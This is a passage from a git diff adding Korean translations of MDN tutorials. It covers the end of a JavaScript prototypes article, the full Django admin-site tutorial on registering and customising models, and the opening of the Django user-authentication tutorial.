+// 두번째 메소드 정의
+
+Test.prototype.y = function() { ... };
+
+// 그 외.
+ +

이런 패턴은 Piotr Zalewa의 school plan app 예제 코드에서 볼 수 있습니다.

+ +

요약

+ +

이 글에서는 객체 프로토타입에 대한 설명과 프로토타입 체인을 통해 다른 객체를 상속하는 방법, 프로토타입 속성과 생성자에 새 메소드를 추가하는 방법과 그와 관련된 지식을 다루고 있습니다.

+ +

다음 글에서는 직접 만든 객체간의 상속을 구현하는 방법에 대해 알아봅시다.

+ +

{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/ko/learn/server-side/django/admin_site/index.html b/files/ko/learn/server-side/django/admin_site/index.html new file mode 100644 index 0000000000..086f4e99aa --- /dev/null +++ b/files/ko/learn/server-side/django/admin_site/index.html @@ -0,0 +1,357 @@ +--- +title: 'Django Tutorial Part 4: Django admin site' +slug: Learn/Server-side/Django/Admin_site +translation_of: Learn/Server-side/Django/Admin_site +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}
+ +

LocalLibrary website의 모델을 만들었으므로, 우리는 Django Admin 을 이용해서 "실제" book data를 추가할 것입니다. 첫째로 우리는 당신에게 관리자 사이트에 모델들을 등록는 방법과, 이후 어떻게 로그인해서 데이터를 만들지를 보여줄 것입니다. 끝으로는 Admin site를 더 개선할 수 있는 방법들에 대해서 알아볼 것입니다.

+ + + + + + + + + + + + +
사전 준비:첫째로 완료하세요: Django Tutorial Part 3: Using models.
목적:장고 관리자 사이트의 이득과 한계를 이해하고, 모델을 위한 여러 레코드들을 생성하기.
+ +

개요

+ +

 장고의 관리자 어플리케이션은 모델을 사용하여 당신이 만들고, 보고, 업데이트하고, 그리고 삭제하는 데에 사용할 수 있는 사이트 영역을 자동적으로 만드는 데에 사용할 수 있습니다. 이는 당신이 시간을 많이 절약할 수 있도록 돕고, 모델을 쉽게 테스트 할 수 있게 하며 당신이 정확한 데이터를 가지고 있다는 느낌을 가질수 있도록 돕습니다. 관리자 어플리케이션은 또한 웹 사이트의 유형에 따라 production의 데이터를 관리하는 데 유용합니다. 모델 중심 접근 방식은 모델에 관한 많은 불필요한 세부 사항을 사용자들에게 노출하는, 모든 사용자들에게 가장 좋은 방식이라고 말할 수 없기 때문에, 장고 프로젝트는 internal 데이터 관리만을(즉, 관리자, 또는 당신의 조직 안에 있는 사람들을 위한 사용만을) 위해서 사용하는 것을 추천합니다.

+ +

 웹사이트 안에 관리자 어플리케이션을 포함시키기 위해 요구되는 모든 설정은 created the skeleton project를 생성했을 때 자동적으로 완료됩니다(실제 종속성에 대한 정보는, 여기 Django docs here를 확인하세요). 결과적으로, 모델을 관리자 어플리케이션에 추가하기 위해서 꼭 해야만 하는 것은 그것들을 등록하는(register) 것입니다. 이 글의 마지막에서 모델 데이터를 더 잘 나타내기 위한 관리자 영역의 추가적인 설정을 짧게 보여드리겠습니다.

+ +

모델을 등록한 뒤로는 새로운 "superuser"를 만들어서 사이트에 로그인을 하며, 이후에는 books, 저자, book instances 그리고 장르를 만들 것입니다. 이것들은 다음 튜토리얼에서 만들기 시작할 뷰와 템플릿을 테스트할 때 유용할 것입니다.

+ +

Models 등록하기

+ +

첫째, catalog 어플리케이션 안의 admin.py 파일을 여세요 (/locallibrary/catalog/admin.py). 다음과 같을 겁니다 — django.contrib.admin을 이미 imoprt하고 있다는 것에 주의하세요:

+ +
from django.contrib import admin
+
+# Register your models here.
+
+ +

 파일의 하단에 아래 텍스트를 복사 붙여넣기 해서 모델을 등록(register)하세요. 이 코드는 모델들을 import하고 그것들을 등록하기 위해 admin.site.register 를 호출합니다.

+ +
from catalog.models import Author, Genre, Book, BookInstance
+
+admin.site.register(Book)
+admin.site.register(Author)
+admin.site.register(Genre)
+admin.site.register(BookInstance)
+
+ +
 주의: 책의 언어를 나타내기 위한 모델을 생성하는 도전과제를 수행했다면 (see the models tutorial article), 그 모델도 import 한 후 등록하세요!
+ +

 이것은 모델이나 모델들을 사이트에 등록(register)하는 가장 간단한 방법입니다. 관리자 사이트는 커스터마이즈 범위가 넓고, 아래에서 모델을 등록하는 다른 방법들에 관해 다르겠습니다.

+ +

Superuser 만들기

+ +

 관리자 사이트에 로그인하기 위해서는, 직원(Staff) 상태가 활성화 된 사용자 계정이 있어야 합니다. 레코드들을 보고 생성하기 위해서는 이 사용자가 모든 객체들을 관리하기 위한 허가가 있어야 합니다.  사이트에 대한 모든 접속 권한과 필요한 허가를 가진 "superuser" 계정을 manage.py를 사용해서만들 수 있습니다. 

+ +

superuser를 생성하기 위해 manage.py와 같은 경로 안에서 아래 명령어를 호출하세요. username, 이메일 주소, 그리고 강력한 비밀번호를 입력해야 할 것입니다.

+ +
python3 manage.py createsuperuser
+
+ +

 이 명령어가 완료되면 새로운 superuser가 데이터베이스에 추가되었을 것입니다. 이제 로그인을 테스트할 수 있도록 개발 서버를 재시작 하세요:

+ +
python3 manage.py runserver
+
+
+ +

관리자 계정에 로그인하기

+ +

 사이트에 로그인하기 위해서는, /admin URL(예: http://127.0.0.1:8000/admin)을 열어서 새로운 superuser의 userid와 password를 입력하세요(세부 정보를 입력한 후에는 로그인 페이지로 리디렉션되고 /admin URL로 돌아갑니다).

+ +

 이곳은 설치된 어플리케이션에 따라 그룹지어진 모든 모델들을 보여줍니다. 모델 이름을 클릭해서 모든 관련 레코드들의 목록을 볼 수 있고, 그 목록들을 클릭하여 수정할 수 있습니다. 또한 모델 오른쪽의 Add 링크를 클릭하여 그 타입의 레코드를 곧바로 생성할 수 있습니다.

+ +

Admin Site - Home page

+ +

 Books 모델 오른쪽의 Add 링크를 클릭해서 새로운 책을 만드세요(아래와 같은 화면이 보일 것입니다). 각 필드의 제목, 사용된 위젯의 타입 그리고 help_text(있는 경우)가 모델 안에서 지정한 값과 일치하는 방식에 유의하세요. 

+ +

 필드에 값들을 입력하세요. 해당 필드 옆에 있는 + 버튼을 눌러 새로운 저자나 장르를 생성할 수 있습니다 (이미 생성했다면 목록에서 값을 선택하세요). 모두 완료했다면 레코드를 저장하기 위해 SAVE, Save and add another 또는 Save and continue editing을 클릭할 수 있습니다.

+ +

Admin Site - Book Add

+ +
+

 주의: 이 지점에서 어플리케이션에 몇 가지 책들, 저자 그리고 장르(예: 판타지)를 추가하면서 시간을 보내보세요. 각각 저자와 장르에 서로 다른 두 가지 책이 포함되어 있는지 확인하세요 (이렇게 하면 나중에 리스트(list)와 디테일 뷰(detail view)들을 구현할 때 그것들을 더욱 흥미롭게 만들어 줍니다).

+
+ +

 책을 추가했다면, 상단 북마크 안의 Home 링크를 클릭해서 관리자 페이지로 되돌아가세요. 그리고 Books 링크를 클릭해서 책들의 현재 목록을 나타내세요(아니면 다른 링크를 클릭해서 다른 모델의 목록을 보세요). 이제 몇 가지 책을 추가했으니, 목록은 아래 스크린샷과 비슷하게 보일 겁니다. 각 책의 제목이 보입니다; 이것은 지난 글에서 다뤘던 Book 모델의 __str__() 메소드가 반환한 값입니다.

+ +

Admin Site - List of book objects

+ +

 이 리스트에서 원하지 않는 책의 왼쪽에 있는 체크박스를 선택하고, Action 드랍-다운 목록에서 delete... 동작을 선택한 후, Go 버튼을 클릭해 책을 삭제할 수 있습니다. 또한 ADD BOOK 버튼을 클릭해서 새로운 책들을 추가할 수 있습니다. 

+ +

 링크 안의 책 이름을 선택해서 책을 편집할 수 있습니다. 아래에 보여지는 책 모델의 편집 페이지는 "Add" 페이지와 거의 동일합니다. 페이지의 제목 (Change book)과 Delete, HISTORY 그리고 VIEW ON SITE 버튼들의 추가가 큰 차이점입니다(마지막 버튼은 모델에서 get_absolute_url() 메소드를 정의했기 때문에 나타납니다).

+ +

Admin Site - Book Edit

+ +

이제 Home 페이지로 되돌아가서 (홈 링크를 사용해서) Author 와 Genre 목록들을 보세요 — 새로운 책들을 추가하면서 이미 몇 가지 목록들이 있겠지만, 조금 더 추가해도 됩니다.

+ +

 아직 가지고 있지 않은 것은 Book Instance들입니다. 왜냐하면 Books에서 만들어지지 않았기 때문이죠( BookInstance에서 Book을 만들 수 있긴 하지만 — 이것은 ForeignKey 필드의 특성입니다). Home 페이지로 되돌아가서 연관된 추가(Add)버튼을 눌러 아래의 Add book Instance 화면을 나타내세요. 크고 전역적으로 고유한 id에 주의하세요. 이것은 도서관에서 한 권의 책을 개별적으로 식별하는 데 사용할 수 있습니다.

+ +

Admin Site - BookInstance Add

+ +

 각각의 책마다 여러 개의 레코드를 만드세요. 상태(Status)를 최소한 몇 개의 레코드는 대여 가능(Available)로 설정하고, 나머지는 대여 중(On loan)으로 설정하세요. 만약 상태가 대여 불가능(not Available)이면, 만기 날짜도 같이 설정하세요.

+ +

이게 끝입니다! 관리자 사이트를 어떻게 설정하고 사용하는지 배웠습니다. 또한 Book, BookInstance, Genre, 그리고 Author 에 대한 레코드들을 생성했고, 뷰와 탬플릿을 생성할 때 이 레코드들을 사용할 수 있을 것입니다.

+ +

추가 설정(Advanced configuration)

+ +

 장고는 등록된(registered) 모델의 정보를 사용하여 기본적인 관리자 사이트를 만드는 일을 꽤 잘합니다:

+ + + +

 사용하기 더욱 편하도록 인터페이스를 추가적으로 사용자화 할 수 있습니다. 당신이 할 수 있는 몇 가지 일은:

+ + + +

 이 글에서는 LocalLibrary의 인터페이스를 향상시키기 위한 몇 가지 변경점을 알아볼 겁니다. 그것들은 BookAuthor 모델 목록에 더 많은 정보를 추가하고, 그리고 그것들의 편집 보기(edit views)의 레이아웃을 향상시키는 것을 포함합니다. Language 와 Genre 모델은 변경하지 않을 겁니다. 그들은 각각 하나의 필드만을 갖고 있기 때문에 변경하는 것에 대한 이득이 없습니다!

+ +

 모든 관리자 사이트 사용자화(customisation) 선택들(choices)의 완벽한 레퍼런스(reference)를 The Django Admin site(장고 문서)에서 찾을 수 있습니다.

+ +

ModelAdmin 클래스 등록하기

+ +

관리자 인터페이스에서 모델이 보여지는 방식을 바꾸고 싶다면 ModelAdmin 클래스(레이아웃을 나타내는)를 정의한 후 모델 안에 등록합니다.

+ +

 Author 모델부터 시작해 봅시다. catalog 어플리케이션의 admin.py 파일을 여세요 (/locallibrary/catalog/admin.py). 원래 있던 Author 모델에 대한 등록(registration)을 주석처리(#를 앞에 붙여서) 하세요:

+ +
# admin.site.register(Author)
+ +

이제 아래와 같이 새로운 AuthorAdmin 과 그것의 등록(registration)을 추가하세요.

+ +
# Define the admin class
+class AuthorAdmin(admin.ModelAdmin):
+    pass
+
+# Register the admin class with the associated model
+admin.site.register(Author, AuthorAdmin)
+
+ +

 이제 우리는 Book 그리고 BookInstance를 위한 ModelAdmin 클래스를 추가할 겁니다. 또다시 원본 등록(registrations)를 주석처리 해야 합니다:

+ +
# admin.site.register(Book)
+# admin.site.register(BookInstance)
+ +

이제 새로운 모델들을 생성하고 등록하기 위해서; 이것의 설명을 위해, 우리는 모델들을 등록(register)하기 위해 @register 데코레이터(decorator)를 대신 사용합니다(이것은 admin.site.register() 구문과 정확히 똑같은 일을 합니다):

+ +
# Register the Admin classes for Book using the decorator
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    pass
+
+# Register the Admin classes for BookInstance using the decorator
+@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    pass
+
+ +

 현재 모든 관리자 클래스들은 비어있기 때문에("pass"를 보세요) 관리자 행동은 바뀌지 않았을 것입니다! 이제 우리는 모델 고유의 관리자 행동(behaviour)을 정의하기 위해 이것들을 확장할 수 있습니다.

+ +

목록 뷰(list view)들을 설정하기

+ +

현재 Locallibrary는 모델의 __str__() 메소드에서 생성되는 객체 이름을 사용하여 모든 저자들을 목록짓습니다. 이것은 단지 몇 명의 저자만 있을 때는 괜찮지만, 수많은 저자가 있을 때는 겹치는 이름의 서로 다른 저자가 있을 겁니다. 그것들을 구분하거나, 아니면 그저 각각의 저자마다 흥미로운 정보를 보여주고 싶다면, list_display 를 사용해서 view에 추가적인 필드를 추가할 수 있습니다. 

+ +

아래 코드로 AuthorAdmin 클래스를 대체하십시오. 목록에 선언될 이름들은 필요한 순서대로 튜플(tuple)로 선언됩니다, 아래에 보시는 것 처럼요(이것들은 원래 모델에서 특정된 것과 같은 이름들입니다).

+ +
class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+
+ +

 이제 웹사이트 안의 저자 목록으로 이동하세요. 위의 필드들이 아래와 같이 보여질 것입니다:

+ +

Admin Site - Improved Author List

+ +

우리의 Book 모델을 위해서 추가적으로 author 그리고 genre를 표시해 봅시다. authorForeignkey 필드 관계(일-대-다)이기 때문에, 관련된 레코드의 __str__() 값에 의해 나타내어질 것입니다. 아래의 버전으로 BookAdmin 클래스를 대체하세요.

+ +
class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')
+
+ +

 불행하게도 genre 필드는 ManyToManyField이기 때문에 list_display에 직접적으로 특정할 수 없습니다.(거대한 데이터베이스 접근 "비용"이 발생할 수 있기 때문에 장고는 이것을 방지합니다). 대신 정보를 문자열로 받기 위해서 display_genre 함수를 정의할 겁니다(이것이 위에서 호출한 함수입니다; 아래에서 함수를 정의하겠습니다).

+ +
+

주의genre 를 가져오는 것은 좋은 생각이 아닙니다. 왜냐하면 데이터베이스 작동의 "비용"이 너무 높기 때문입니다. 모델 안의 호출 함수들이 다른 이유로도 굉장히 유용하기 때문에 — 예를 들자면 리스트 안의 모든 항목에 delete 링크를 추가하는 것 처럼요.

+
+ +

아래 코드를 Book 모델(models.py) 안에 추가하세요. 이것은 genre 필드의 첫 세 가지 값들의 문자열을 생성합니다(만약 존재한다면요) 그리고 이 메소드를 위해 관리자 사이트에서 사용될 수 있는 short_description 을 만듭니다.

+ +
    def display_genre(self):
+        """Create a string for the Genre. This is required to display genre in Admin."""
+        return ', '.join(genre.name for genre in self.genre.all()[:3])
+
+    display_genre.short_description = 'Genre'
+
+ +

 모델을 저장하고 관리자를 업데이트 했다면, 웹사이트를 열어서 Books 목록 페이지로 이동하세요; 아래와 같은 책 리스트가 있을 것입니다:

+ +

Admin Site - Improved Book List

+ +

Genre 모델 (그리고 Language 모델도, 정의했다면) 은 단일 필드를 갖고 있기 때문에, 추가적인 필드를 보여주기 위해 추가적인 모델을 생성하는 것은 의미가 없습니다.

+ +
+

주의: 최소한 상태 그리고 예상되는 반납일을 보여주는 BookInstance 모델 목록을 업데이트 해봅시다 . 이것은 이 글의 마지막에 도전 과제로 추가되어 있습니다!

+
+ +

목록 필터 추가하기

+ +

 목록 안에 있는 항목들이 아주 많다면, 그 중에 어떤 항목들만이 표시될 지 정할 수 있는 필터를 추가하는 것이 유용합니다. 이것은 list_filter 속성 안에서 필드들을 목록지어서 완료됩니다. 현재 BookInstanceAdmin 클래스를 아래 코드 조각으로 대체하십시오.

+ +
class BookInstanceAdmin(admin.ModelAdmin):
+    list_filter = ('status', 'due_back')
+
+ +

 목록 뷰(list view)는 이제 오른쪽에 필터 상자를 갖고 있을 겁니다. 값을 필터링하기 위해 날짜와 상태를 선택하는 방법에 주의하세요:

+ +

Admin Site - BookInstance List Filters

+ +

세뷰 보기 레이아웃(detail view layout) 조직하기

+ +

 기본적으로, detail view들은 모든 필드들을 모델에 선언된 순서대로, 수직적으로 배치합니다.  당신은 선언 순서, 표시될(혹은 제외될) 필드들, 섹션들이 정보들을 조직하는 데 사용될 지 여부, 필드들이 수직적 또는 수평적으로 표시될 지 여부 그리고 심지어 관리자 양식에서 어떤 편집 위젯이 사용될 지 까지 변경할 수 있습니다.

+ +
+

주의: LocalLibrary 모델은 상대적으로 간단하기 때문에 레이아웃을 변경할 큰 필요성이 없습니다; 그러나 방법을 보여드리기 위해, 몇 가지 변경점을 만들 것입니다.

+
+ +

어떤 필드들이 보여지고 배치될 지 제어하기

+ +

아래와 같이 fields 줄(굵은 글씨)을 추가하기 위해 AuthorAdmin 클래스를 업데이트 하세요:

+ +
class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+    fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]
+
+ +

fields 속성은 양식에 보여져야 할 필드들만을 순서대로 목록짓습니다. 필드들은 기본적으로 수직적으로 표시되지만, 추가적으로 그것들을 튜플 안에 그룹짓는다면 수평적으로 표시됩니다(위의 "date" 필드처럼요).

+ +

웹사이트 안에서 저자 세부 사항 뷰로 이동하세요 — 이제 아래와 같이 보일겁니다:

+ +

Admin Site - Improved Author Detail

+ +
+

주의: 당신은 또한 양식(form)에서 제외되어야 할 속성들의 목록을 선언하기 위해 exclude 속성을 사용할 수 있습니다 (모델 안의 다른 모든 속성들이 표시될 겁니다). 

+
+ +

세부 뷰 구역 나누기(Sectioning the detail view)

+ +

fieldsets 속성을 사용하여, 세부 양식 안의 연관된 모델 정보를 그룹화하기 위해 "sections"를 추가할 수 있습니다.

+ +

 BookInstance 안에서, 우리는 책이 무엇인지 (i.e. name, imprint, and id) 그리고 이것을 언제 빌릴 수 있는지 (status, due_back)에 대한 정보를 가지고 있습니다. 우리는 BookInstanceAdmin 클래스에 굵게 표시된 텍스트를 추가하여 이것들을 각각 다른 구역에 추가할 수 있습니다. 

+ +
@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    list_filter = ('status', 'due_back')
+
+    fieldsets = (
+        (None, {
+            'fields': ('book', 'imprint', 'id')
+        }),
+        ('Availability', {
+            'fields': ('status', 'due_back')
+        }),
+    )
+ +

각각의 섹션엔 고유한 제목(또는 제목을 원하지 않을 경우, None) 그리고 사전의 필드와 관련된 튜플이 있습니다 — 양식(format)은 묘사하기 복잡하지만, 바로 위의 코드 조각을 본다면 이해하기 상당히 쉽습니다.

+ +

이제 웹사이트 안의 book instance view로 이동하세요; 이제 아래와 같은 양식이 보일겁니다:

+ +

Admin Site - Improved BookInstance Detail with sections

+ +

연관 레코드들의 인라인 편집(Inline editing of associated records)

+ +

때때로 연관된 레코드들을 동시에 추가하는 것이 가능할 때도 있습니다. 예를 들어, 세부 사항 페이지에서 책 정보 그리고 특정한 복사본에 대한 정보 둘 다 가질 수도 있습니다.

+ +

이것은 inlines를 선언해서 할 수 있고, TabularInline (수평적 레이아웃)타입 또는 StackedInline (기본 모델 레이아웃과 같은 수직적 레이아웃)을 선택할 수 있습니다. 아래 BookAdmin 근처의 굵게 표시된 줄을 추가하여 BookInstance 정보 인라인을 Book 세부 사항(detail)에 추가할 수 있습니다:

+ +
class BooksInstanceInline(admin.TabularInline):
+    model = BookInstance
+
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')
+    inlines = [BooksInstanceInline]
+
+ +

 이제 웹사이트의 Book 을 위한 화면으로 이동하세요 — 화면의 하단에서 이제 이 책과 연관된 책 인스턴스(book instances)를 볼 수 있을 겁니다(책의 장르 필드 바로 아래에):

+ +

Admin Site - Book with Inlines

+ +

 이 경우 우리는 인라인된 모델의 모든 필드들을 추가하는, 테이블화된 인라인 클래스를 선언했습니다. 레이아웃을 위해 모든 종류의 추가적인 정보들을 지정할 수 있습니다. 표시할 필드, 그것들의 순서, 그것들이 읽기 전용인지 아닌지, 등등을 포함해서요. (더 많은 정보를 위해 TabularInline 를 보세요). 

+ +
+

주의: 이 기능에는 몇 가지 고통스러운 한계가 있습니다! 위의 스크린샷에서 우리는 이미 존재하는 세 개의 책 인스턴스(book instance)와 그 아래에 새로운 책 인스턴스를 위한 세 개의 플레이스홀더(placeholder)를 가지고 있습니다(아주 비슷하게 보이지요!). 기본값으로 예비 책 인스턴스를 위한 플레이스를 홀더를 가지지 않고 새로운 북 인스턴스마다 새로운 북 인스턴스 링크 하나씩 추가하는 것이 좋습니다. 또는 BookInstance를 여기서는 읽기 불가(non-readable) 링크로 목록화하는 것도 좋구요. 전자는 BookInstanceInline 모델 안의 extra 속성을 0으로 설정하여 완료할 수 있습니다. 직접 해보세요.

+
+ +

도전 과제

+ +

이 섹션에서 많은 것을 배웠기 때문에, 이젠 직접 몇 가지를 도전해 볼 차례입니다.

+ +
    +
  1. BookInstance 목록 뷰에 책, 상태, 만기 날짜, 그리고 id(book, status, due back date, id)를 표시하기 위한 코드를 추가해 보세요(기본 __str__() 텍스트 가 아닌).
  2. +
  3. Book/BookInstance에서 했던 것고 같은 접근법을 사용해서 Author 세부 사항 뷰에 Book 항목들의 인라인 목록(Inline listing)을 추가해 보세요.
  4. +
+ + + +

요약

+ +

이게 답니다! 이제 관리자 사이트를 어떻게 설정하는지에 대해 가장 간단한 방법으로 그리고 발전된 방법으로도 배웠습니다. superuser 만드는 방법, 관리자 사이트와 뷰들을 이동하는 방법, 레코드를 삭제 및 업데이트하는 방법 등등을 배웠습니다. 지금까지 여러 Books, BookInstances, Genres 그리고 Authors를 만들었고, 이것들은 우리가 우리만의 view와 탬플릿들을 만들었을 때 그곳에 목록화하여 나타낼 수 있을 것입니다.

+ +

추가 자료

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}

+ + + +

In this module

+ + diff --git a/files/ko/learn/server-side/django/authentication/index.html b/files/ko/learn/server-side/django/authentication/index.html new file mode 100644 index 0000000000..44bb932043 --- /dev/null +++ b/files/ko/learn/server-side/django/authentication/index.html @@ -0,0 +1,707 @@ +--- +title: 'Django Tutorial Part 8: User authentication and permissions' +slug: Learn/Server-side/Django/Authentication +translation_of: Learn/Server-side/Django/Authentication +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}
+ +

이 튜토리얼에서는, 당신의 사이트에 그들의 계정으로 로그인을 어떻게 허락할 것인지, 그리고 그들의 로그인 여부와 그들에게 허가한 퍼미션에 따라서 사이트에서 무엇을 할 수 있게 하거나, 볼 수 있게 할 것인지에 대해서 알려줄 것입니다. 또한 예시의 일부분으로, 우리는 이 LocalLibrary website를 확장시켜서, 로그인, 로그아웃 페이지를 덧붙이고, 사용자와 staff들이 그들이 빌려간 책들을 볼 수 있는 특별한 페이지들도 추가할 것입니다.

+ + + + + + + + + + + + +
선행학습:앞의 모든 튜토리얼을 모두 끝내세요.  up to and including Django Tutorial Part 7: Sessions framework.
목표:사용자 인증과 허가를 어떻게 셋업하고, 이용하는 지에 대해 이해하기
+ +

개요

+ +

Django는 인증과 권위 부여 ("허가") 시스템을 제공합니다. 이것은 previous tutorial 에서 논의된 session framework에서 찾아볼 수 있는데, 사용자의 credentials을 검증하고 사용자들이 행동들의 허가 여부를 정의합니다. 이 프레임워크는 Users 와 Groups (한 번에 한 명 이상의 유저에게 허가를 적용하는 일반적인 방법)을 위한 빌트인 모델을 포함하는데, permissions/flags는 that designate whether 사용자들이 일이나 , forms, 로그인 한 유저들의 뷰, 그리고 컨텐츠를 제한하는 뷰 툴을 조정합니다.

+ +
+

Note: Django의 인증시스템은 매우 일반적인 것을 목표로하기 때문에, 다른 웹사이트 인증시스템에서 제공하는 특정한 기능들을 제공하지 않습니다. 이런 문제에 대한 해결방법은 서드파티 솔루션을 이용하는 것입니다. 예를 들면, 로그인 시도 제한과 제3자에 대한 인증(e.g.OAuth)과 같은 기능들은 제공하지 않습니다.

+
+ +

이 튜토리얼에서 우리는 LocalLibrary website안에서의 유저 인증을 어떻게 활성화하는지 보여주고, 당신의 로그인, 로그아웃 페이지를 만들며 당신의 모델과 페이지에 대한 권한 및 그 조정에 대해서 살펴볼 것입니다. 우리는 인증과 허가(권한)을 사용해서 사용자나 사서가 빌린 책들을 표시할 것입니다.

+ +

이 인증시스템은 매우 유연하므로 당신이 원한다면 단지 제공된 로그인  API를 호출하는 것만으로 scratch에서 온 당신의 URLs, forms, views와 templates를 작성할 수 있습니다. 그렇지만, 이 단계에서는 Django가 "보유한" 인증 views와 forms를 이용하여 우리의 로그인과 로그아웃페이지를 만들 것입니다. 우리는 여전히 어떤 템플릿들을 만들어야 합니다. 그러나, 이것들은 꽤 쉽습니다.

+ +

우리는 어떻게 퍼미션을 만드는지, 그리고 로그인 상태와 퍼미션을 views와 templates에서 어떻게 체크하는지에 대해서도 보여줄 것입니다.

+ +

인증하도록 하기

+ +

Authentication은 우리가 이미 skeleton website 을 생성했을 때 (in tutorial 2) 자동적으로 생서되었으므로 이 점에서는 할 것이 없습니다..

+ +
+

Note: 설정을 위해 필요한 것들은 모두 django-admin startproject 명령을 이용하여 앱을 생성했을 때 끝났습니다. 사용자들과 모델 퍼미션을 위한 데이터베이스 테이블들은 우리가 처음으로 python manage.py migrate을 실행했을 때 만들어졌습니다.

+
+ +

아래에서 보여주는 것과 같이, 설정은 settings.py파일에서 INSTALLED_APPS과 MIDDLEWARE 부분을 셋업하는 것입니다.

+ +
INSTALLED_APPS = [
+    ...
+    'django.contrib.auth',  #Core authentication framework and its default models.
+    'django.contrib.contenttypes',  #Django content type system (allows permissions to be associated with models).
+    ....
+
+MIDDLEWARE = [
+    ...
+    'django.contrib.sessions.middleware.SessionMiddleware',  #Manages sessions across requests
+    ...
+    'django.contrib.auth.middleware.AuthenticationMiddleware',  #Associates users with requests using sessions.
+    ....
+
+ +

users와 groups 만들기

+ +

Django admin site를 tutorial 4에서 봤을 때 이미 당신은 첫번째 유저를 만들었습니다. 이는 슈퍼유저로서 python manage.py createsuperuser라는 명령으로 만들었죠. 우리의 슈퍼 유저는 이미 인증이 되어있고 모든 허가 권한을 가지고 있으므로, 우리는 일반적인 사이트 유저를 대표하는 테스트 유저를 만들 것입니다. 우리의 locallibrary groups과 website logins을 위해서 우리는 admin 사이트를 이용할 것인데, 이것이 가장 빠른 방법 중에 하나입니다.

+ +
+

Note: 당신은 아래에서 보여주는 것처럼 프로그램적으로 사용자를 추가할 수 있습니다. 만약에 사용자가 로그인하는 사이트를 개발한다면, 당신은 이것을 해야합니다. (사용자들이 admin site를 접근하게 해서는 안됩니다.)

+ +
from django.contrib.auth.models import User
+
+# Create user and save to the database
+user = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword')
+
+# Update fields and then save again
+user.first_name = 'John'
+user.last_name = 'Citizen'
+user.save()
+
+
+ +

아래에서 우리는 첫번째 그룹과 그 그룹의 사용자를 만들 것입니다. 아직까지는 우리의 도서관 멤버로서 아무런 퍼미션도 부여하지는 않습니다.  그러나 나중에 필요하다면, 개인들에게 각각 하는 것보다는 그룹에 한번에 하는 것이 휠씬 쉬운 일입니다.

+ +

개발서버를 시작하고, 웹브라우저를 통해 admin site(http://127.0.0.1:8000/admin/)에 접속하십시오. 그리고 당신의 superuser 계정으로 로그인하십시오. admin site의 최상위 단계에서는 "Django application"에 의해 소트된 당신의 모델들이 있습니다. Authentication and Authorisation 섹션에 있는 Users or Groups 링크를 클릭하여 현재의 등록된 기록들을 볼 수 있습니다.

+ +

Admin site - add groups or users

+ +

첫번째로 우리 도서관 멤버를 위한 새 그룹을 만듭시다.

+ +
    +
  1. Add버튼(Group 다음에 있는)을 클릭하여 새 그룹을 만듭니다; "Library Members"라는 이름을 넣으세요.
  2. +
+ +

Admin site - add group

+ + + +
    +
  1. 우리는 그룹을 위한 어떠한 권한도 필요하지 않습니다. 그러므로 SAVE 를 누르세요. (you will be taken to a list of groups).
  2. +
+ + + +

자 이제 사용자(user)를 만들어봅시다 :

+ +
    +
  1. admin 사이트의 홈페이지로 돌아가주세요.
  2. +
  3. Users 옆 Add 버튼을 클릭하여 user dialog를 열어줍니다.Admin site - add user pt1
  4. +
  5. 당신의 테스트 사용자(user)를 위해 적절한 사용자이름(Username) 과 비밀번호(Password/Password confirmation) 를 입력해주세요.
  6. +
  7. 사용자(user)를 만들기 위해 SAVE 를 눌러줍시다.
    +
    + 관리자 사이트는 새로운 유저를 만들고, username을 바꿀 수 있고 유저모델의 선택 필드에 정보를 추가할 수 있는 Change user화면으로 즉각 당신에게 보여줄 것입니다. 이 필드들은 이름, 성, 이메일 주소, 유저 상태 및 권한 (오직 Active 표시만 가능합니다)를 포함합니다. 더 밑으로 내려가면 당신의 그룹과 권한 유저와 관련된 중요한 날짜들(예를 들어 가입일과 마지막 로그인 날짜)을 기입할 수 있습니다. Admin site - add user pt2
  8. +
  9. 그룹 섹션에서, Available groups목록에서 Library Member 를 선택하고두 박스 사이에 있는 오른쪽 화살표를 누르면 Chosen groups box로 이동이 될 거에요Admin site - add user to group
  10. +
  11. 여기서는 아무것도 필요치 않습니다, 그저 SAVE 를 선택하고, 유저 목록으로 가십시오.
  12. +
+ +

다됬습니다! 이제 당신은 테스트를 위해 사용할 수 있는 "normal library member"  계정을 갖게 되었습니다(이들이 로그인할 수 있도록 페이지를 만들 때 말이죠).

+ +
+

Note: 다른 도서관 유저 만들기를 시도해보아야 합니다. 또한 사서들을 위한 그룹을 만들고 유저를 추가해보세요!

+
+ +

authentication views 세팅하기

+ +

Django는 authentication pages에서 login, log out, and password 조정을 위한 거의 모든 것을 제공해 줍니다. "out of the box". 이것은 URL mapper, views와 forms들을 포함하지만 templates은 포함하지 않습니다 — 우리가 만들어야 하죠!

+ +

여기서, 우리는 기본 시스템들에 LocalLibrary를 통합하고, template들을 만들 수 있는 지를 볼 거에요.그리고 이것들을 프로젝트 메인 URL들에 넣을 것입니다.

+ +
+

